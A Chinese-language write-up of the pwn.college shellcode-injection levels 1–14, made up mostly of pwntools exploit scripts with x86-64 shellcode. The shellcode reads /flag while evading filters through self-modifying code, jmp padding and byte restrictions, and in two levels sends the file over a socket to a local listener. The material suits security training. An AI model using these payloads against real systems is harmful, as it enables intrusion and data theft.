shellcodeORW

# PREFACE: pwn.college 的 shellcode injection,算是一个小入门~

# level 1

basic orw:

from pwn import *
from string import *
# context.syntax = 'intel'
context(os='linux',arch='amd64',log_level='debug',terminal=['tmux','splitw','-h'])
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
# print(flag_file)
shellcode = f'''
// close:
    mov rdi, 2
    mov rax, 3
    syscall
// open:
    mov rbx, 0x{flag_file}
    mov rsi, 0
    mov rdx, 0
    push rbx
    push rsp
    pop rdi
    mov rax, 2
    syscall
// read:
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x50
    xor rax, rax
    syscall
// write:
    mov rdx, rax
    mov rdi, 1
    mov rsi, rsp
    mov rax, 1
    syscall
// exit:
    mov rax, 0x3c
    syscall
'''
hex_shellcode = asm(shellcode)
# print(hex_shellcode)
p = gdb.debug('./level1_chall','b *main + 560\nb *main + 709')
p.sendafter('Reading 0x1000 bytes from stdin.\n',hex_shellcode + b'\n')
# p.send(hex_shellcode + b'\n')
p.interactive()

# level 2

随机跳一段,全 nop 即可

from pwn import *
from string import *
# context.syntax = 'intel'
context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
# print(flag_file)
shellcode = f'''
// close:
    mov rdi, 2
    mov rax, 3
    syscall
// open:
    mov rbx, 0x{flag_file}
    mov rsi, 0
    mov rdx, 0
    push rbx
    push rsp
    pop rdi
    mov rax, 2
    syscall
// read:
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x50
    xor rax, rax
    syscall
// write:
    mov rdx, rax
    mov rdi, 1
    mov rsi, rsp
    mov rax, 1
    syscall
// exit:
    mov rax, 0x3c
    syscall
'''
hex_shellcode = asm(shellcode)
# print(hex_shellcode)
p = gdb.debug('./level2_chall','b *main + 910')
# while (True):
#     p = process('./level2_chall')
#     p.sendafter('Reading 0x1000 bytes from stdin.\n',0x700 * b'\90' + hex_shellcode + b'\n')
#     # p.send(hex_shellcode + b'\n')
#     print(p.recv())
#     if (b'flag' in p.recv()):
#         print(p.recv())
#         break
#     p.close()
p.sendafter('Reading 0x1000 bytes from stdin.\n',0x700 * b'\x90' + hex_shellcode + b'\n')
p.interactive()

# level 3

禁用 \x00

from pwn import *
from string import *
# context.syntax = 'intel'
context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
# print(flag_file)
shellcode = f'''
// close:
    xor rdx, rdx
    xor rdi, rdi
    xor rax, rax
    mov dil, 2
    mov al, 3
    syscall
// open:
    xor rsi, rsi
    xor rdx, rdx
    sub rsp, 5
    mov byte ptr [rsp], 0x2f
    mov byte ptr [rsp+1], 0x66
    mov byte ptr [rsp+2], 0x6c
    mov byte ptr [rsp+3], 0x61
    mov byte ptr [rsp+4], 0x67
    mov byte ptr [rsp+5], 0x01
    sub byte ptr [rsp+5], 0x01
    push rsp
    pop rdi
    mov al, 2
    syscall
// read:    
    mov rdi, rax
    mov rsi, rsp
    mov dl, 0x50
    xor rax, rax
    syscall
// write:
    mov rdx, rax
    mov al, 1
    push rax
    pop rdi
    mov rsi, rsp
    mov al, 1
    syscall
// exit:
    mov al, 0x3c
    syscall
'''
hex_shellcode = asm(shellcode)
# print(hex_shellcode)
p = gdb.debug('./level2_chall','b *main + 910')
# while (True):
#     p = process('./level2_chall')
#     p.sendafter('Reading 0x1000 bytes from stdin.\n',0x700 * b'\90' + hex_shellcode + b'\n')
#     # p.send(hex_shellcode + b'\n')
#     print(p.recv())
#     if (b'flag' in p.recv()):
#         print(p.recv())
#         break
#     p.close()
p.sendafter('Reading 0x1000 bytes from stdin.\n',0x700 * b'\x90' + hex_shellcode + b'\n')
p.interactive()

# level 4

ban ‘H’,不能用 xor 和 mov 等,用 push pop 代替赋值即可

from pwn import *
from string import *
# context.syntax = 'intel'
context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
# print(flag_file)
shellcode = f'''
// close:
    push 0
    pop rdx
    push 0
    pop rdi
    push 0
    pop rdx
    mov dil, 2
    mov al, 3
    syscall
    nop
    
// open:
    push 0
    pop rsi
    push 0
    pop rdx
    nop
    push 0
    push 0
    push 0
    push 0
    push 0
    nop
    mov byte ptr [rsp], 0x2f
    mov byte ptr [rsp+1], 0x66
    mov byte ptr [rsp+2], 0x6c
    mov byte ptr [rsp+3], 0x61
    mov byte ptr [rsp+4], 0x67
    mov byte ptr [rsp+5], 0x01
    sub byte ptr [rsp+5], 0x01
    push rsp
    pop rdi
    mov al, 2
    syscall
    nop
// read:    
    push rax
    pop rdi
    push rsp
    pop rsi
    mov dl, 0x50
    push 0
    pop rax
    syscall
    nop
// write:
    push rax
    pop rdx
    mov al, 1
    push rax
    pop rdi
    push rsp
    pop rsi
    mov al, 1
    syscall
// exit:
    mov al, 0x3c
    syscall
'''
hex_shellcode = asm(shellcode)
# print(hex_shellcode)
# p = gdb.debug('./level2_chall','b *main + 910')
p = process('/challenge/babyshell_level4')
# while (True):
#     p = process('./level2_chall')
#     p.sendafter('Reading 0x1000 bytes from stdin.\n',0x700 * b'\90' + hex_shellcode + b'\n')
#     # p.send(hex_shellcode + b'\n')
#     print(p.recv())
#     if (b'flag' in p.recv()):
#         print(p.recv())
#         break
#     p.close()
p.sendafter('Reading 0x1000 bytes from stdin.\n',0x700 * b'\x90' + hex_shellcode + b'\n')
p.interactive()
# p.recv()

# level 5

ban syscall 等,得 smc 拿(代码写复杂了,可以直接获取 rip 的,不过一时没想起来就用了他的 leak 来找地址)

from pwn import *
from string import *
context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
# p = gdb.debug('./level5_chall','b *main\nb *main + 873')
p = process('./level5_chall')
p.recvuntil('[LEAK] Mapping shellcode memory at ')
leak_addr = p.recvn(10).decode()
leak_addr = int(leak_addr, 16)
# close
shellcode = b''
shellcode_close = '''
    xor rdi, rdi
    xor rdx, rdx
    xor rax, rax
    xor rsi,rsi
    mov dil, 2
    mov al, 3
'''
shellcode_close = asm(shellcode_close)
shellcode += shellcode_close
syscall = '''
    syscall
'''
syscall = asm(syscall)
after_syscall = bytes(a ^ b for a,b in zip(b'\x90\x90', syscall))
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
# open
shellcode_open = '''
    mov al, 2
    xor rdx, rdx
    xor rsi, rsi
    mov rbx, 0x0067616c662f
    push rbx
    push rsp
    pop rdi
'''
shellcode_open = asm(shellcode_open)
shellcode += shellcode_open
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
# read
shellcode_read = '''
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x100
    mov al, 0
'''
shellcode_read = asm(shellcode_read)
shellcode += shellcode_read
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
# write
shellcode_write = '''
    mov rdi, 1
    mov rsi, rsp
    mov rdx, rax
    mov al, 1
'''
shellcode_write = asm(shellcode_write)
shellcode += shellcode_write
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
shellcode_exit = '''
    mov rax, 60
'''
shellcode_exit = asm(shellcode_exit)
shellcode += shellcode_exit
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
# print('--------------------------------------')
# print(disasm(shellcode))
# print('--------------------------------------')
p.sendafter('Reading 0x1000 bytes from stdin.\n',shellcode + b'\n')
p.interactive()

# level 6

比起上一题多了禁用前 0x1000 的 write,不过长度够可以直接绕

.rept 0x1000
	nop
.endr
from pwn import *
from string import *
context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'],log_level='debug')
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
p = gdb.debug('./level6_chall','b *main\nb *main + 957\nb *main + 525')
# p = process('./level6_chall')
p.recvuntil('[LEAK] Mapping shellcode memory at ')
leak_addr = p.recvn(10).decode()
leak_addr = int(leak_addr, 16)
# close
shellcode = '''
.rept 0x1000
nop
.endr
'''
shellcode = asm(shellcode)
shellcode_close = '''
    xor rdi, rdi
    xor rdx, rdx
    xor rax, rax
    xor rsi,rsi
    mov dil, 2
    mov al, 3
'''
shellcode_close = asm(shellcode_close)
shellcode += shellcode_close
syscall = '''
    syscall
'''
syscall = asm(syscall)
after_syscall = bytes(a ^ b for a,b in zip(b'\x90\x90', syscall))
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
# open
shellcode_open = '''
    mov al, 2
    xor rdx, rdx
    xor rsi, rsi
    mov rbx, 0x0067616c662f
    push rbx
    push rsp
    pop rdi
'''
shellcode_open = asm(shellcode_open)
shellcode += shellcode_open
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
# read
shellcode_read = '''
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x100
    mov al, 0
'''
shellcode_read = asm(shellcode_read)
shellcode += shellcode_read
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
# write
shellcode_write = '''
    mov rdi, 1
    mov rsi, rsp
    mov rdx, rax
    mov al, 1
'''
shellcode_write = asm(shellcode_write)
shellcode += shellcode_write
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
shellcode_exit = '''
    mov rax, 60
'''
shellcode_exit = asm(shellcode_exit)
shellcode += shellcode_exit
syscall = f'''
    mov rbx, {leak_addr + len(shellcode) + 14}
    xor byte ptr [rbx], {after_syscall[0]}
    xor byte ptr [rbx+1], {after_syscall[1]}
    nop
    nop
'''
shellcode += asm(syscall)
p.sendafter('Reading 0x2000 bytes from stdin.\n',shellcode + b'\n')
# h = p.recv(0x2000)
# print(h)
p.interactive()

# level 7

ban stdin stdout stderr,这里用 socket 来传

开 server 接:

import socket
def start_server(host='0.0.0.0', port=5678):
    while(True):
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.bind((host, port))
        server_socket.listen(5)
        print(f"Listening on {host}:{port}...")
        client_socket, addr = server_socket.accept()
        print(f"Accepted a connection from {addr}")
        data = client_socket.recv(1024)
        print("Received data:", data.decode())
        client_socket.close()
        server_socket.close()
if __name__ == "__main__":
    start_server()

exp:

n
from pwn import *
from string import *
context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
# p = gdb.debug('./level6_chall','b *main\nb *main + 957\nb *main + 525')
p = process('/challenge/babyshell_level7')
p.recvuntil('Mapped 0x4000 bytes for shellcode at ')
leak_addr = p.recvn(10).decode()
leak_addr = int(leak_addr, 16)
shellcode = '''
// socket:
    mov rdi, 2
    mov rsi, 1
    xor rdx, rdx
    mov rax, 41
    syscall
    mov rdi, rax
    mov r9, rax
//  socket addr preparation
    sub rsp, 4
    mov word ptr [rsp + 0], 2
    mov word ptr [rsp + 2], 0x2e16
    mov dword ptr [rsp + 4], 0x0100007f
    push rsp
    pop rsi
//  connect
    mov rdx, 16
    mov rax, 42
    syscall
//    mov rcx, rax // socket descriptor
    mov rcx, rdi
// close:
    mov rdi, 2
    mov rax, 3
    syscall
// open:
    mov rbx, 0x0067616c662f
    mov rsi, 0
    mov rdx, 0
    push rbx
    push rsp
    pop rdi
    mov rax, 2
    syscall
// read:
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x50
    xor rax, rax
    syscall
// write:
    mov rdx, rax
    xor rdi, rdi
    mov rdi, r9
    mov rsi, rsp
    mov rax, 1
    syscall
    mov rdi, rax
    mov rax, 3
    syscall
// exit
    mov rax, 59
    syscall
'''
shellcode = asm(shellcode)
p.sendafter('Reading 0x4000 bytes from stdin.\n',shellcode + b'\n')
# h = p.recv(0x2000)
# print(h)
p.interactive()

# level 8

0x12 bytes,用的是 chmod (‘file’,7), ln -s /flag f 软链接到 f 上来节约字符

.intel_syntax noprefix
.text
.globl _start
_start:
    mov al, 0x5a
    mov sil, 7
    push 0x66     
    push rsp
    pop rdi
    syscall

cat flag

# level 9

每十个会 CC 十个,那么写一个生成 shellcode,使得超过 10 个的时候会加入一个 jmp(注意不能用 qword mov 这种大于等于八字节的指令,算是这题隐性的 ban list):

from pwn import *
from string import *
from random import *
context(os='linux',arch='amd64')
shellcode = f'''    mov rdi, 2
    mov rax, 3
    syscall
    xor rsi, rsi
    xor rdx, rdx
    sub rsp, 5
    mov byte ptr [rsp], 0x2f
    mov byte ptr [rsp+1], 0x66
    mov byte ptr [rsp+2], 0x6c
    mov byte ptr [rsp+3], 0x61
    mov byte ptr [rsp+4], 0x67
    mov byte ptr [rsp+5], 0x01
    sub byte ptr [rsp+5], 0x01
    push rsp
    pop rdi
    mov al, 2
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x50
    xor rax, rax
    syscall
    mov rdx, rax
    mov dil, 1
    mov rsi, rsp
    mov al, 1
    syscall
    mov rax, 0x3c
    syscall'''
shellcode_list = shellcode.splitlines()
# print(shellcode_list)
shellcode_tmp = ''
shellcode_len = 0
shellcode_pad_flag = 0
i = 0
while (i < len(shellcode_list)):
    # print(f'shellcode_tmp [{i}]: \n',shellcode_tmp)
    if ((shellcode_len // 10) % 2 == 0 and shellcode_pad_flag == 1):
        if (shellcode_len % 10 <= 8):
            random_str = ''.join(choices(string.ascii_letters, k=4))
            pad = -(shellcode_len % 10) + 8 + 10
            shellcode_tmp += f"    jmp {random_str}\n    .rept {pad}\n    nop\n    .endr\n{random_str}:\n"
            shellcode_len += pad + 2
            shellcode_pad_flag = 0
        else:
            shellcode_pad_flag = 1
            shellcode_len -= len(asm(shellcode_list[i - 1]))
            tmp = shellcode_tmp.splitlines()
            tmp = tmp[:-1]
            shellcode_tmp = '\n'.join(tmp)
            shellcode_tmp += '\n'
            i -= 1
        
    elif ((shellcode_len // 10) % 2 == 0 and shellcode_pad_flag == 0):
        shellcode_tmp += shellcode_list[i] + '\n'
        shellcode_len += len(asm(shellcode_list[i]))
        i += 1
        
    elif ((shellcode_len // 10) % 2 == 1):
        shellcode_len -= len(asm(shellcode_list[i - 1]))
        tmp = shellcode_tmp.splitlines()
        tmp = tmp[:-1]
        shellcode_tmp = '\n'.join(tmp)
        shellcode_tmp += '\n'
        i -= 1
        shellcode_pad_flag = 1
        
    
print(shellcode_tmp)

生成的 exp

from pwn import *
from string import *
from random import *
# context.syntax = 'intel'
context(os='linux',arch='amd64',log_level='debug',terminal=['tmux','splitw','-h'])
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
# print(flag_file)
shellcode = f'''    mov rdi, 2
    jmp EIBi
    .rept 11
    nop
    .endr
EIBi:
    mov rax, 3
    jmp wIoJ
    .rept 11
    nop
    .endr
wIoJ:
    syscall
    xor rsi, rsi
    xor rdx, rdx
    jmp GGxU
    .rept 10
    nop
    .endr
GGxU:
    sub rsp, 5
    mov byte ptr [rsp], 0x2f
    jmp HIQh
    .rept 10
    nop
    .endr
HIQh:
    mov byte ptr [rsp+1], 0x66
    jmp hAbJ
    .rept 13
    nop
    .endr
hAbJ:
    mov byte ptr [rsp+2], 0x6c
    jmp bxUa
    .rept 13
    nop
    .endr
bxUa:
    mov byte ptr [rsp+3], 0x61
    jmp JNPB
    .rept 13
    nop
    .endr
JNPB:
    mov byte ptr [rsp+4], 0x67
    jmp GoxX
    .rept 13
    nop
    .endr
GoxX:
    mov byte ptr [rsp+5], 0x01
    jmp xzHp
    .rept 13
    nop
    .endr
xzHp:
    sub byte ptr [rsp+5], 0x01
    push rsp
    pop rdi
    jmp UTod
    .rept 11
    nop
    .endr
UTod:
    mov al, 2
    syscall
    mov rdi, rax
    jmp Imgn
    .rept 11
    nop
    .endr
Imgn:
    mov rsi, rsp
    jmp EDoc
    .rept 15
    nop
    .endr
EDoc:
    mov rdx, 0x50
    jmp qLZG
    .rept 11
    nop
    .endr
qLZG:
    xor rax, rax
    syscall
    mov rdx, rax
    jmp AbtY
    .rept 10
    nop
    .endr
AbtY:
    mov dil, 1
    mov rsi, rsp
    mov al, 1
    jmp UuTH
    .rept 10
    nop
    .endr
UuTH:
    syscall
    mov rax, 0x3c
    syscall'''
hex_shellcode = asm(shellcode)
print(hex_shellcode)
p = gdb.debug('./level9_chall_cp','b *main\nb *main + 912')
# p = process('./level9_chall_cp')
p.sendafter('Reading 0x1000 bytes from stdin.\n',hex_shellcode + b'\n')
# p.send(hex_shellcode + b'\n')
p.interactive()

# level 10

要求从小到大,可以开始查一些单字节双字节指令插进去(这题用的多的是 nop)

from pwn import *
from string import *
from random import *
# context.syntax = 'intel'
context(os='linux',arch='amd64',log_level='debug',terminal=['tmux','splitw','-h'])
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
# print(flag_file)
shellcode = f'''
//  open
    mov rbx, 0x67616c662f
    nop
    xor rsi, rsi
    xor rdx, rdx
    mov al, 2
    push rbx
    push rsp
    nop
    nop
    pop rdi
    syscall
    nop
// read
    mov rdi, rax
    mov rsi, rsp
    nop
    nop
    nop
    nop
    mov dl, 0x50
    nop
    xor rax, rax
    syscall
    
// write
    nop
    nop
    nop
    mov dil, 1
    nop
    nop
    nop
    nop
    nop
    nop
    mov rsi, rsp
    mov rdx, rax
    mov al, 1
    syscall
    nop
    nop
    inc rax
'''
hex_shellcode = asm(shellcode)
print(hex_shellcode)
# p = gdb.debug('./level9_chall_cp','b *main\nb *main + 912')
p = process('./level10_chall')
p.sendafter('Reading 0x1000 bytes from stdin.\n',hex_shellcode + b'\n')
# p.send(hex_shellcode + b'\n')
p.interactive()

# level 11

用的 socket,和上题一样但是长很多所以调整更多

from pwn import *
from string import *
from random import *
# context.syntax = 'intel'
context(os='linux',arch='amd64',log_level='debug',terminal=['tmux','splitw','-h'])
flag_file = '/flag'
flag_file = flag_file[::-1]
flag_file = flag_file.encode().hex()
# print(flag_file)
shellcode = f'''
// socket:
    xor rdi, rdi
    xor rsi, rsi
    xor rax, rax
    mov dil, 2
    mov sil, 1
    xor rdx, rdx
    mov al, 41
    syscall
    nop
    mov rdi, rax
    nop
    nop
    nop
    nop
    nop
    mov r9, rax
    
//  socket addr preparation
    nop
    sub rsp, 4
    mov word ptr [rsp + 0], 2
    nop
    nop
    mov word ptr [rsp + 2], 0x2e16
    nop
    nop
    mov word ptr [rsp + 4], 0x007f
    xchg eax, ecx
    mov word ptr [rsp + 6], 0x0100
    xchg eax, ecx
    push rsp
    pop rsi
//  connect
    mov dl, 16
    mov al, 42
    xchg eax, ecx
    xchg ecx, eax
    syscall
    mov rcx, rdi
    nop
    xchg eax, ecx
    xchg ecx, eax
// open:
    xor rsi, rsi
    xor rdx, rdx
    xchg eax, ecx
    xchg eax, ecx
    sub rsp, 5
    xchg eax, ecx
    xchg eax, ecx
    xchg eax, edx
    xchg eax, edx
    mov byte ptr [rsp], 0x2f
    xchg eax, edx
    xchg eax, edx
    xchg eax, edx
    xchg eax, edx
    mov byte ptr [rsp+1], 0x66
    nop
    xchg eax, ebx
    xchg eax, ebx
    mov byte ptr [rsp+2], 0x6c
    nop
    xchg eax, ebx
    xchg eax, ebx
    mov byte ptr [rsp+3], 0x61
    nop
    xchg eax, ebp
    xchg eax, ebp
    mov byte ptr [rsp+4], 0x67
    nop
    xchg eax, ebp
    xchg eax, ebp
    mov byte ptr [rsp+5], 0x00
    nop
    xchg eax, esi
    xchg eax, esi
    push rsp
    pop rdi
    mov al, 2
    syscall
    xchg eax, edi
    xchg eax, edi
// read:
    mov rdi, rax
    mov rsi, rsp
    xchg eax, edi
    xchg eax, edi
    mov dl, 0x50
    nop
    nop
    xor rax, rax
    xchg eax, edi
    xchg eax, edi
    syscall
// write:
    mov rdx, rax
    test eax, eax
    xor rdi, rdi
    mov rdi, r9
    test eax, eax
    mov rsi, rsp
    mov al, 0
    inc rax
    syscall
    mov rdi, rax
    inc rax
    mov al, 3
    
    syscall
    nop
    inc rax
'''
hex_shellcode = asm(shellcode)
# p = gdb.debug('./level9_chall_cp','b *main\nb *main + 912')
p = process('./level10_chall')
p.sendafter('Reading 0x1000 bytes from stdin.\n',hex_shellcode + b'\n')
# p.send(hex_shellcode + b'\n')
p.interactive()

# level 12

不能重复,这里就用 chmod 那个打法

from pwn import *
context(os='linux',arch='amd64')
shellcode = '''
    mov al, 0x5a
    mov sil, 7
    push 0x66     
    // f
    push rsp
    pop rdi
    syscall
'''
p = process('/challenge/babyshell_level13')
p.sendafter('Reading 0x1000 bytes from stdin.\n',asm(shellcode))
p.interactive()

# level 13

前面的 exp 可以打通,这里不是很理解为什么没有 write 还可以 push 和 pop

from pwn import *
context(os='linux',arch='amd64')
shellcode = '''
    mov al, 0x5a
    mov sil, 7
    push 0x66     
    // f
    push rsp
    pop rdi
    syscall
'''
p = process('/challenge/babyshell_level13')
p.sendafter('Reading 0x1000 bytes from stdin.\n',asm(shellcode))
p.interactive()
# 即使栈没有写权限,还是可以 push 和 pop

# level 14

6 字节,这里只能 read,调试利用已有的寄存器, fd = 1 即可接着写入 shellcode

from pwn import *
context(os='linux',arch='amd64', terminal=['tmux','splitw','-h'],log_level='debug')
shellcode = '''
	xor edi, edi
    mov esi, edx
    syscall
'''
# p = process('/challenge/babyshell_level14')
# p = gdb.debug('/challenge/babyshell_level14','b *main + 634')
p = gdb.debug('./level14_chall','b* main + 674')
p.sendafter('Reading 0x6 bytes from stdin.\n',asm(shellcode))
shellcode = '''
//  open
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    mov rbx, 0x0067616c662f
    mov rsi, 0
    mov rdx, 0
    mov al, 2
    push rbx
    push rsp
    pop rdi
    syscall
// read
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x50
    mov rax, 0
    syscall
// write
    mov rdi, 1
    mov rsi, rsp
    mov rdx, rax
    mov rax, 1
    syscall
'''
p.send(asm(shellcode))
p.interactive()